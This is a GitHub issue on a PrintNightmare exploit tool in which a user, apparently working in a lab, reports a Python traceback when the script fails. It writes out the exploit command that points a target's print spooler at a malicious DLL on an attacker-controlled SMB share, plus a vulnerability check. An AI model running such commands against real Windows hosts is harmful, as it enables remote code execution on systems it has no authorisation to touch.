PrintNightmare icon indicating copy to clipboard operation
PrintNightmare copied to clipboard

All kinds of error message.s

Open ZackInMA opened this issue 3 years ago • 0 comments

Tested against a known vulnerable host. All the necessary dependencies in place.

──(kali㉿Kali1)-[~/…/Tools/Windows/PrintNightmare/PrintNightmare] └─$ python ./printnightmare.py -check 'offsec:[email protected]' 1 ⨯ Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target appears to be vulnerable!

┌──(kali㉿Kali1)-[~/…/Tools/Windows/PrintNightmare/PrintNightmare] └─$ python ./printnightmare.py -dll '\192.168.119.215\share\Print_Mal.dll' 'offsec:[email protected]' 1 ⨯ Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Enumerating printer drivers Traceback (most recent call last): File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 760, in print_nightmare.exploit(options.name, options.env, options.path, options.dll) File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 466, in exploit driver_path = self.getDriverPath(dce, environment) File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 370, in getDriverPath drivers = self.list(environment, dce) File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 389, in list resp = hRpcEnumPrinterDrivers(dce, NULL, environment, 2) File "/home/kali/Documents/Tools/Windows/PrintNightmare/PrintNightmare/./printnightmare.py", line 264, in hRpcEnumPrinterDrivers request["pDrivers"] = b"\0" * bytesNeeded UnboundLocalError: local variable 'bytesNeeded' referenced before assignment

ZackInMA avatar Jan 06 '23 19:01 ZackInMA